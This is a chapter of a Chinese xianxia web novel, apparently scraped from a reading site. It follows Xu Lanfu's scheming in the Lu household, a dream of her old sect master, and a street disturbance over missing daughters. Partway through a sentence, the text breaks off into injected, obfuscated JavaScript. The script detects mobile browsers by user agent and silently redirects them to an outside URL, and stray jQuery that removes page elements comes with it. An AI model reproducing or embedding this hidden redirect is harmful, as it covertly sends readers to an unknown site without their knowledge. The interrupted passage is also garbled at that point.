7. 骚乱

作品:《反派不可能会救赎

    许兰拂悄然回到房间后,很快收到灵雀传讯,拆开信纸,上面是一块绘着栀子的环佩,一看就是女子的贴身之物。


    她倚靠在床榻边,端详一番,随手翻折放到芥子袋里。


    若有机会给他留意一下,毕竟陆无期有用,这个可以作为合作的投名状。


    许兰拂拿出一张空白的纸,凭着记忆把陆府的构造画出来,在中心书房里打了个粗大的记号。


    经过陆蔚和陆罡的身先士卒,许兰拂初步断定书房是个障眼法,里面没有任何有用的消息。


    那么山河社稷图不在此处。


    她又在纸上写下陆罡和陆蔚两个人的名字,画了个圈。


    二人在名册上记录二人进入陆家的时间在两年前,进入陆家前是孤儿,理由是为了给妹妹更好的生活。


    理由和身份真假存疑。


    他们的目的绝不止于此,有机会试探一下。


    许兰拂托着下颌,黑墨在宣纸晕染,她索性搁下笔,将宣纸烧了,火光在眼瞳里跳跃,化作灰烬。


    简单洗漱后她倒头就睡,这次睡的昏昏沉沉,莫名还梦到前尘往事。


    那时的长明宗是众宗之首,海纳百川。宗内三尊坐镇,分别修符、丹、剑,那位最神秘的宗主主修阵,甚少收徒。


    神秘的宗主对许兰拂来说不神秘,因为她就是宗主的首徒,加上后来的顾弘,也就两个弟子。


    宗主谢秋酩是个银发男人,周身气质如山巅霜雪,凛然不可进犯。


    跟他相处久了就知道他是个迷糊人,很好相处。


    许兰拂那会年纪小,天资高,明媚骄傲,被谢秋酩收作第一个徒弟还兴冲冲问过:“师尊,那么多人,为什么偏收了我?”


    谢秋酩低头看着刚到他腰的许兰拂,道:“不能告诉你。”


    许兰拂不解:“为什么?”


    谢秋酩认真想,却不走心地扯谎敷衍:“因为云芝说我话太多,得闭嘴。”


    许兰拂:“……”


    她愤而离去,第一次想换个师尊。


    丹尊苏云芝是个温婉的女子,性格好,在山巅的宗主殿没有辟出弟子居前,许兰拂都在丹殿住。


    许兰拂闷闷不乐回到丹殿时,正碰见苏云芝,问了她同样的问题。


    苏云芝无奈一笑,解释道:“收你做徒,自然是与你有缘,不必深究缘由。”


    许兰拂就不问了,乖乖跟在谢秋酩身边学阵法。


    雪白梨花树下,师徒二人相对,谢秋酩就看许兰拂破他布下的阵,亦或是看她画阵。


    虽说运行灵气不稳或出了差错,把困阵布成杀阵是常有的事,但谢秋酩总有种第一印象没打好,徒弟暗戳戳要害他的感觉。


    于是在许兰拂研究破阵办法时,谢秋酩主动破冰:“你学阵很快,很好。”


    许兰拂抬头看他,以为他被夺舍了。


    但她没把这种大逆不道的话说出来,提问一个埋藏好久的问题:“师尊,我们为什么要修仙?”


    谢秋酩问:“你为什么要修仙?”


    许兰拂继续低头破阵,“因为想长命百岁。”


    “修仙的确可以延长寿数,也就比凡人多个几千年几百年而已,最后还是要死的。”谢秋酩清透如琉璃的眸子凝视着许兰拂,“我们每个人都是一盏容器,灵气就好比杯中之水,充盈于身体之中,你容纳越多,寿数越长。”


    “每个人的躯体适合主脉修习的不同,造就了并无境界之分,而是精进之要,越精就越强。”


    许兰拂没想到谢秋酩会认真答复,还以为他会批她平庸之思。


    谢秋酩好似读出许兰拂心中所想,轻声道:“每个人修仙的想法不同,此路艰难,小爱或大爱都足以支撑每个人走下去。”


    他稍顿,“我只问你,踏上这修仙路,悔吗?”


    许兰拂抬头,坚定道:“不悔。”


    此时话匣子打开,她轻笑:“那师尊为何修仙呢?”


    谢秋酩没说话,眸光莫测,遥遥看向山巅整片的梨花林,簌簌飘落,宛如一场带着香气的雪。


    *


    许兰拂悠悠转醒,鼻尖似乎萦绕着浅淡的檀香。


    她从榻上坐起,揉了揉眉心,不知为何会梦到往昔之事,还没等细想,轻轻的叩门声打断了她的思绪。


    许兰拂微拢外袍,隔着帐纱道:“进。”


    绿绮进门颔首:“许小姐,大少爷已经解除禁闭,今日邀你出游。”


    “好,劳烦他稍等。”


    许兰拂撩开帐纱,下榻梳洗。挑一件陆子昀曾给她选的青色衣裙,裙摆如莲瓣绽开,乌发如云,斜插进一根玉簪绾发,缀下几缕流苏。


    收拾好后前去院落中,陆子昀与陆无期相对而坐,听到脚步声二人一齐抬首。


    陆子昀轻笑:“这套衣裙衬你。”


    许兰拂抬手掩唇,状似羞涩,“是子昀会挑。”


    二人融情蜜意,在桌边坐着的陆无期托着下颌,笑意渐淡了些,忽而开口打破了他们的氛围,“嫂嫂。”


    “无期也在啊。”许兰拂惊讶道,转眸看向陆子昀,不知道他为什么把陆无期带过来。


    陆子昀解释道:“无期久在房间,时常不出屋也不好,就把他带出来晒晒太阳,我甚少归家,顺便给无期多添置些东西。”


    许兰拂做足了未婚妻的善解人意,“这是自然。”


    陆无期只觉得刺眼。


    许兰拂在陆子昀身边和在他身边是完全不一样的表现。


    陆无期的表情有些不好看,嗓音略柔,却阴阳怪气,仿佛一根软刺,“嫂嫂和长兄真是恩爱。”


    “当然呀。”许兰拂笑容依旧,嘴上应承,心里只想让他赶紧闭嘴。


    陆无期笑了下,没再说话。


    陆子昀只当他们关系不错,三人收拾一番就出门去了。


    陆府之外是一条繁华的主街,周遭小贩的吆喝声此起彼伏,放眼望去琳琅满目,应有尽有。


    许兰拂对这些东西并没有什么兴趣,她目光悠转,注意到陆子昀走到一家玉石店面里,从陈列在外的玉石中挑出一块成色较好的玉。


    青绿打底,色泽清润,晶莹剔透。


    陆子昀面向许兰拂,郑重拿起这块玉石,轻语询问:“兰拂,喜欢吗?”


    许兰拂问:“你要这个做什么?”


    “我想……给你做一支玉簪。”陆子昀认真注视着许兰拂,长身玉立,面对许兰拂总是知礼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464588|169801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    守节,温柔细语,“你喜欢什么样式?我可以做。”


    许兰拂讶异抬眸。


    陆家家主候选人亲自给她做玉簪?


    但许兰拂没拒绝,她现在还是陆子昀的未婚妻,就应了:“好啊,那辛苦你了。”


    “不辛苦。”陆子昀绽开一丝清浅的弧度,“希望……你喜欢。”


    许兰拂面上期待,“当然,只要是你做的,我都喜欢。”


    陆无期抱着胳膊靠在门框上,觉得碍眼。


    一位家主候选,一位世家贵女,二人相对站在一起,着实般配。


    就连店主都在旁边称赞道:“大少爷和许小姐真是郎才女貌啊。”


    陆无期眉头微皱,扯出一个近乎微嘲的笑意,喃喃自语:“是啊,真般配……”


    然后就见陆子昀挑出店家准备好的白玉腰佩,红绳穿孔,过檀珠收束,经手莹润。


    陆子昀将腰佩系在陆无期的腰间,轻笑:“此物保平安。”


    陆无期略微无所适从,下颌绷紧,半晌才开口:“多谢长兄。”


    他今日穿了许兰拂让裁缝新裁的衣袍,朴素低调的墨蓝色调,领口白丝针脚细密,如流动的云,那块白玉腰佩是他身上最亮眼的色彩。


    许兰拂挑眉,“这玉佩衬你。”


    话音未落,不远处传来一阵骚乱,在告示牌周围的人群熙熙攘攘,仿佛在争执什么。


    越过人群,就瞧见几个衣衫朴素的中年男女拉扯着陆家侍卫,死抓着不放。


    哭泣的女人声嘶力竭:“不许走!你告诉我,我女儿哪里去了!她去了朝阳院三年,怎么还不回家!”


    男人满脸愁容:“我家女儿每月都会给我寄信,可是前不久我才发现这根本不是我女儿写的!”


    侍卫被拽着无法离开,劝道:“各位、各位,稍安勿躁,你们说的情况我都记下来了,我这就回去禀报陆夫人,你们别急,再等等好吗?”


    可是周遭的哭嚎声更大了。


    侍卫焦头烂额,他本来就是个贴告示的,怎么能遇见这种事啊。


    目光逡巡间,他看到陆子昀的身影,仿佛见到救命稻草,赶忙道:“大少爷……”


    陆子昀挤过人群,站出来问:“发生何事了?”


    告示牌一圈围了约莫十几位男女,皆眼眶泛红,外围一圈都是聚集过来看热闹的。


    侍卫惆怅道:“今日轮值到我来张贴告示,他们忽然就聚过来说他们孩子不见了,要说法。”


    女人擦了擦眼泪,赶忙说:“公子,我们没什么文化,孩子出息,天资高进了朝阳院修习,我们就想见见自家孩子……”


    其余人纷纷附和。


    陆子昀出示象征陆家的令牌,安抚:“事情我已经了解了,诸位先莫慌,正午太热,你们先回家,我会好好查明的。”


    侍卫在旁边帮腔道:“是呀乡亲们,你们要信大少爷啊。”


    其他人讷讷点头,渐渐散了。


    许兰拂和陆无期上前来,侍卫一一见礼,就听许兰拂问道:“之前到你轮值时,可有过类似的情况?”


    侍卫一愣,细想一番后答:“并无,这是第一次。”


    许兰拂意味深长道:“第一次啊……”